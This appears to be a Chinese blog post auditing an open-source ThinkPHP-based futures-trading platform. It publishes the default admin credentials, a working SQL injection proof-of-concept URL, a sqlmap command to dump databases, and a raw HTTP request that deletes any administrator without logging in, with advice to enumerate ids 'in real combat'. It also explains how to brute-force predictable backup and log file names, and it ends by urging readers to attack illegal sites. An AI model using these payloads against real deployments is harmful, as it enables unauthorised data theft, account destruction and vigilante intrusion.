code: https://github.com/huyiwill/weipan_qihuo
前期的一些了解:
基于ThinkPHP开发的 本能的想到前段时间的RCE
一看代码3.2.0的 打扰了。
该系统无自动安装程序 需手动修改\Application\Common\Conf\config.php
文件中的配置。
后台:http://127.0.0.1/index.php/Admin/Index/index.html
管理账号 | 密码 |
---|---|
wpadmin | abc635241 |
初步看了一下代码
有点恶心...
看到Application\Home\Controller\NewsController.class.php
文件
<?php
namespace Home\Controller;
use Think\Controller;
class NewsController extends Controller {
public function newslist(){
$fid=I('get.fid');
$nlist=M('newsinfo')->where('ncategory='.$fid)->order('nid desc')->select();
$newscat=M('newsclass')->where('fid='.$fid)->find();
$this->assign('nlist',$nlist);
$this->assign('newscat',$newscat);
$this->display();
}
public function newsid(){
$nid=I('get.nid');
$newsid=M('newsinfo')->where('nid='.$nid)->find();
$this->assign('newsid',$newsid);
$this->display();
}
}
可以看到I函数
是tp
内置的输入函数 默认的过滤方法是htmlspecialchars
其作用是把预定义的字符转换为 HTML 实体 具体如下:
> (大于)成为 >
防一般的xss还行 但是并没有过滤hk常用的各种危险函数 这也就搞清楚了前面那位师傅说xss被过滤了 那么看下配置文件\ThinkPHP\Conf\convention.php
其是否还开启了其他过滤函数
事实证明除了htmlspecialchars
之外 这个开发并没有添加其他过滤。那不就意味着可以构造畸形查询条件进行注入?
如图 可以注入
Poc:
http://127.0.0.1/index.php/Home/News/newsid.html?nid=8)%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7,0x4,0x7),NULL,NULL,NULL,NULL--%20test%20---
懒人攻略:
python sqlmap.py -u http://127.0.0.1/index.php/Home/News/newsid.html?nid=8 --dbs
看到Application\Admin\Controller\SuperController.class.php
的sdel()
函数(第161-172行)
//删除管理员
public function sdel()
{
$user = D('userinfo');
//单个删除
$uid = I('get.uid');
$result = $user->where('uid='.$uid)->delete();
if($result!==FALSE){
$this->success("成功删除管理员!",U("Super/slist"));
}else{
$this->error('删除失败!');
}
}
需要了解的是该系统并未直接判断使用SuperController
的权限 而是每执行一个操作之前使用checklogin()
函数判断用户是否为登录状态。但是sdel()
这个函数漏掉了!!!所以可以执行任意帐号删除
Poc:
GET /index.php/Admin/Super/sdel/uid/670.html HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.php/Admin/Super/slist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=test
Connection: close
(这里我新建出来的帐号的id是670 实战中遍历该id即可)
看到Application\Admin\Controller\SuperController.class.php
的backupdb()
函数的第210-215行
$filename = APP_PATH.'backup/'.date('Y-m-d_H-i-s').".sql"; //存放路径,默认存放到项目最外层
//echo $filename;
$fp = fopen($filename, 'w');
fputs($fp, $mysql);
fclose($fp);
可以看到备份的命名是去当前的时间来命名的 规律可循 可轻易爆破...
代码就不贴出来了 参考https://xz.aliyun.com/t/3788中的Poc编写方式 改一下就可以用。
通过fileMonitor监控发现程序会写出日志到
\Application\Runtime\Logs\19_01_25.log
这样格式的文件 年月日 极其简单...
而且操作过程全写进去了...比上面的遍历数据库备份更容易 而且数据库备份的路径在日志里也可以找到...
总体上来说这套CMS写得尼玛... 在网吧时间不自由 相信深入测试还能挖到更多的问题。对于非法站点 果断日!
文中用到的fileMonitor和MySQLMonitor均为审计辅助工具 后者笔者在网吧里对windows和Python2.7做了适配 配合使用辅助效果很不错吖。